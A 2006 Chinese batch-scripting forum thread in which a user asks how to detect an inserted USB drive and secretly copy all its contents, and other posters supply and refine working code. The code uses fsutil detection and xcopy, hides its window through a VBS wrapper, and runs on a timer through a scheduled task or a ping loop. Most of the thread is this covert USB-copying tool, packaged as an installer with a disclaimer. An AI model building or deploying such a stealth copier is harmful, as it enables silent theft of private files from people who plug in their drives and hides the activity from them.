![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-09-14 13:08 |
共 47,812 主题排行 / 349,917 发帖 / 今日 0 篇 / 48,268 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 如何判断U盘已插入并自动COPY所有内容 |
| 可打印版本 16,563 / 40 |
| 第1楼 gene771771 | 发表于 2006-11-29 13:29 |
| 初级用户 发帖 77 积分 105 来自 重庆 | |
|
如何判断U盘已插入并自动COPY所有内容 有个仙要我写一个批处理,先判断U盘是否已插入,要是插入就自动COPY所有内容到硬盘,而且还要悄悄的。。。我左思右想,还是想不出来,来这里请教各位大仙~~~
谢谢!!! 最好是可以常注内存并自动判断滴,可以用第三方软件,比如SLEEP,choice等等。。。 现有最新版本为(更新中): 16楼 http://www.cn-dos.net/forum/viewthread.php?tid=25190&fpage=1&highlight=&page=2 [ Last edited by gene771771 on 2006-11-30 at 01:51 AM ] |
|
| 第2楼 tianzizhi | 发表于 2006-11-29 22:53 |
| 高级用户 发帖 214 积分 623 | |
|
判断驱动器类型:
for %%i in (c d e f g h i j k) do@fsutil fsinfo drivetype %%i:>>d:\t.txt findstr /i "可移动驱动器" d:\t.txt if errorlevel==1 goto end if errorlevel==0 goto cop :end exit :cop for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do@set yidong=%%i copy %yidong%\*.* d:\ /y 存为g.bat 再在机子上执行一条每隔一些时间执行一次g.bat的命令 schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr g.bat 其中2是指每两分钟执行一次. 其它的你再改改.没测试 |
|
| 第3楼 9527 | 发表于 2006-11-29 23:46 |
| 银牌会员 发帖 438 积分 1,185 来自 北京 | |
|
其实向楼主那样说用BAT来实现,效果并不是最佳,因为运行的时候必定会出现窗口,这样就不能达到隐藏的目的了,所以我没有什么可说的了
|
|
| 第4楼 tianzizhi | 发表于 2006-11-30 01:23 |
| 高级用户 发帖 214 积分 623 | |
|
再改进一下:
隐藏,调用一次vbs就行了 for %%i in (c d e f g h i j k) do @fsutil fsinfo drivetype %%i:>>d:\t.txt findstr /i "可移动驱动器" d:\t.txt if errorlevel==1 goto end if errorlevel==0 goto cop :end exit :cop for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do @set yidong=%%i copy %yidong%\*.* d:\ /y del d:\t.txt 存为g.bat set ws=WScript.CreateObject("WScript.Shell") ws.Run "d:\g.bat",0 存为b.vbs 再运行一次 schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr d:\b.vbs 即可. [ Last edited by tianzizhi on 2006-11-30 at 01:27 AM ] |
|
| 第5楼 tao0610 | 发表于 2006-11-30 07:06 |
| 高级用户 发帖 218 积分 579 | |
|
计划任务的服务一般都是关闭的,还是INF比较实际一些..
|
|
| 第6楼 tianzizhi | 发表于 2006-11-30 08:22 |
| 高级用户 发帖 214 积分 623 | |
|
计划服务大部分都是默认开着的,而不是关着的,我还没见到过重装系统后计划是关的情况.还有汇编,有几个人会用.我们的要求是通用性,人人都会,能简单就尽量简单,能不用第三方软件就尽量不用第三方软件.
|
|
| 第7楼 tao0610 | 发表于 2006-11-30 08:34 |
| 高级用户 发帖 218 积分 579 | |
|
很多系统的优化都会把计划任务关了,现在装原版系统的也不多了.
inf说得是INF文件. |
|
| 第8楼 gene771771 | 发表于 2006-11-30 09:06 |
| 初级用户 发帖 77 积分 105 来自 重庆 | |
|
tao0610 请问通过INF怎么实现呢??
|
|
| 第9楼 gene771771 | 发表于 2006-11-30 10:37 |
| 初级用户 发帖 77 积分 105 来自 重庆 | |
|
修改后的代码 首先,非常感谢tianzizhi提供的源代码,
我现在将修改后的代码发上来, 现在的问题是,怎么启用那个策略呢,默认是关闭的。 或者是不是有高人有其他的解决办法呢??? 第一个文件:U盘自动复制.cmd @echo off color 17 :start cls title $$$$*晗*晗*制*造*$$$$ echo. echo. echo. echo ============================================================== echo. echo U盘自动复制程序 echo. echo 欢迎使用,请选择选项(1,2,3,4,5,6) echo. echo [1] 运行程序 echo [2] 关闭程序 echo [3] 安装程序 echo [4] 卸载程序 echo [5] 使用帮助 echo [6] X键关闭 echo. echo. echo. echo ============================================================== echo. set /p choice=请输入: if {%choice%}=={} goto start if /i %choice%==1 goto open if /i %choice%==2 goto close if /i %choice%==3 goto install if /i %choice%==4 goto uninstall if /i %choice%==5 goto help if /i %choice%==x goto shut goto start :install rem ==============================安装程序============================= if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd" copy copy.cmd "%temp%\copy.cmd" >nul 2>nul rem ==============================隐藏窗口============================= if exist %temp%\hide.vbs del /Q %temp%\hide.vbs set path=%temp%\copy.cmd echo set ws=WScript.CreateObject("WScript.Shell") >>%temp%\hide.vbs echo ws.Run "%path%",0 >>%temp%\hide.vbs echo. echo 安装成功结束! pause >nul 2>nul goto start rem ==============================安装结束============================= :uninstall rem ==============================卸载程序============================= echo. schtasks /delete /s system /tn copyfiles /tn copyfiles /f >nul 2>nul del /Q /f "%temp%\copy.cmd" >nul 2>nul del /Q /f "%temp%\hide.vbs" >nul 2>nul del /Q /f "%temp%\copy.tmp" >nul 2>nul echo 程序已经成功卸载! pause >nul 2>nul goto start rem ==============================卸载结束============================= :open rem ==============================运行程序============================= echo. schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr %temp%\hide.vbs echo 程序已经成功开始自运行(2分钟扫描一次)! pause >nul 2>nul goto start rem ==============================运行结束============================= :close rem ==============================终止程序============================= echo. schtasks /delete /s system /tn copyfiles /tn copyfiles /f echo 程序已经成功结束自运行! pause >nul 2>nul goto start rem ==============================终止结束============================= :help rem ==============================使用帮助============================= cls echo. echo. echo. echo. echo. echo 本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任. echo. echo 使用方法: 1 点击安装程序 echo 2 点击运行程序,程序将自动每2分钟执行一次 echo 3 请务必确认你要copy的U盘无毒 echo 4 如果你计算机安装有杀毒软件,可能会无法使用VBS代码 echo 5 如果无法自动COPY,请每次手动点击COPY.cmd echo 6 请及时清理c:\copy文件里边的文件 echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘 echo. echo 本软件为免费软件欢迎大家使用 echo 按任意键返回主菜单 pause >nul goto start rem ==============================帮助结束============================= :shut rem ==============================关闭程序============================= exit rem ==============================关闭结束============================= 第二文件:copy.cmd @echo off for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp" findstr /i "可移动驱动器" "%temp%\copy.tmp" if errorlevel==1 goto end if errorlevel==0 goto copy :end echo 没有检测到可移动磁盘! exit :copy if exist c:\copy goto goon cd\ cd /d c: md copy :goon for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do ( xcopy /e /y %%i\*.* c:\copy >nul 2>nul ) del /q "%temp%\copy.tmp" echo 已复制,请及时清理文件! |
|
| 第10楼 tianzizhi | 发表于 2006-11-30 10:41 |
| 高级用户 发帖 214 积分 623 | |
|
请tao0610把你所说的用inf文件能实现楼主要求的程序写出来,让大家看看,我也想看看学习,不要光说不做.
|
|
| 第11楼 gene771771 | 发表于 2006-11-30 10:41 |
| 初级用户 发帖 77 积分 105 来自 重庆 | |
|
上传一个文件,测试用,不完整版本 [ Last edited by gene771771 on 2006-11-30 at 04:02 PM ] 附件 U盘自动复制.rar (1.56 KiB) |
|
| 第12楼 tianzizhi | 发表于 2006-11-30 10:53 |
| 高级用户 发帖 214 积分 623 | |
|
楼主做的不错么,鼓励!接着加油!
|
|
| 第13楼 gene771771 | 发表于 2006-11-30 11:57 |
| 初级用户 发帖 77 积分 105 来自 重庆 | |
|
RE:发帖子问我的N个人 使用说明里边说得很清楚,要先安装就行了,默认目录在C:\COPY里边,
要是实现开机自动自行倒是简单,但是因为那个策略的问题现在还没有办法在不用第三方软件的条件下实现自动常驻内存。现在那个文件还是不完整的,等待高手来完善,不会的先不要下载。除非你要测试。其实那个copy.cmd是可以用的,但是就是没有办法自动循环扫描。 |
|
| 第14楼 gene771771 | 发表于 2006-11-30 13:00 |
| 初级用户 发帖 77 积分 105 来自 重庆 | |
|
再次发个源码上来,这个应该可以用了,大家测试一下:
U盘自动复制安装.cmd @echo off color 17 :start cls title $$$$*晗*晗*制*造*$$$$ echo. echo. echo. echo ============================================================== echo. echo U盘自动复制程序 echo. echo 欢迎使用,请选择选项(1,2,3,4,5,6) echo. echo [1] 运行程序 echo [2] 关闭程序 echo [3] 安装程序 echo [4] 卸载程序 echo [5] 使用帮助 echo [6] X键关闭 echo. echo. echo $$$ 晗晗制造,版本1.0 $$$ echo. echo ============================================================== echo. set /p choice=请输入: if {%choice%}=={} goto start if /i %choice%==1 goto open if /i %choice%==2 goto close if /i %choice%==3 goto install if /i %choice%==4 goto uninstall if /i %choice%==5 goto help if /i %choice%==x goto shut goto start :install rem ==============================安装程序============================= if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd" copy copy.cmd "%temp%\copy.cmd" >nul 2>nul rem ==============================隐藏窗口============================= if exist %temp%\hide.vbs del /Q %temp%\hide.vbs set path=%temp%\copy.cmd echo set ws=WScript.CreateObject("WScript.Shell") >>"%temp%\hide.vbs" echo ws.Run "%path%",0 >>%temp%\hide.vbs echo. echo 安装成功结束! pause >nul 2>nul goto start rem ==============================安装结束============================= :uninstall rem ==============================卸载程序============================= echo. if not exist %temp%\copy.cmd goto start del /Q /f "%temp%\copy.cmd" >nul 2>nul del /Q /f "%temp%\hide.vbs" >nul 2>nul del /Q /f "%temp%\copy.tmp" >nul 2>nul echo 程序已经成功卸载! pause >nul 2>nul goto start rem ==============================卸载结束============================= :open rem ==============================运行程序============================= echo. if not exist %temp%\copy.cmd goto start "%temp%\hide.vbs" echo 程序已经成功开始自运行(20秒扫描一次)! pause >nul 2>nul goto start rem ==============================运行结束============================= :close rem ==============================终止程序============================= echo. if not exist %temp%\copy.cmd goto start tskill ping >nul 2>nul echo 程序已经成功结束自运行! pause >nul 2>nul tskill cmd rem ==============================终止结束============================= :help rem ==============================使用帮助============================= cls echo. echo. echo. echo 本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任. echo. echo 使用方法: 1 点击安装程序 echo 2 点击运行程序,程序将自动每20秒执行一次 echo 3 请务必确认你要copy的U盘无毒 echo 4 如果你计算机安装有杀毒软件,可能会无法使用VBS代码 echo 5 如果无法自动COPY,请每次手动点击COPY.cmd echo 6 请及时清理默认保存目录c:\copy文件夹里边的文件 echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘 echo 8 由于是通过PING来实现定时扫描的,占内存多,使用后请记得关闭 echo 9 本软件不保证拷贝数据的正确性 echo 10 本软件不要使用于非法用途 echo. echo 本软件为免费软件欢迎大家使用 echo 按任意键返回主菜单 pause >nul 2>nul goto start rem ==============================帮助结束============================= :shut rem ==============================关闭程序============================= exit rem ==============================关闭结束============================= copy.cmd @echo off mode con: cols=14 lines=1 :again for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp" findstr /i "可移动驱动器" "%temp%\copy.tmp" if errorlevel==1 goto end if errorlevel==0 goto copy :end rem 没有检测到可移动磁盘! ping 127.0.0.1 -n 20 >nul 2>nul goto again :copy if exist c:\copy goto goon cd\ cd /d c: md copy :goon for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do ( xcopy /e /y %%i\*.* c:\copy >nul 2>nul ) del /q "%temp%\copy.tmp" rem 已复制,请及时清理文件! ping 127.0.0.1 -n 20 >nul 2>nul goto again |
|
| 第15楼 gene771771 | 发表于 2006-11-30 14:49 |
| 初级用户 发帖 77 积分 105 来自 重庆 | |
|
我写的最终版本 原来写了有两个版本,一个用了SLEEP,一个用ping,功能都是一样滴,现在我把两个综合了,在,没有SLEEP的情况下照常使用!
其他的情况看说明!希望高手修改加精! 按照惯例,源码是公开的,大家可以修改,但在可能的情况下尽量保持原作者的信息,这不仅是对别人劳动成果的尊重,也是做人的基本道理。。。 [ Last edited by gene771771 on 2006-11-30 at 03:35 PM ] 附件 U盘自动复制.rar (9.97 KiB) |
|
| 1 2 3 下一页 |
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |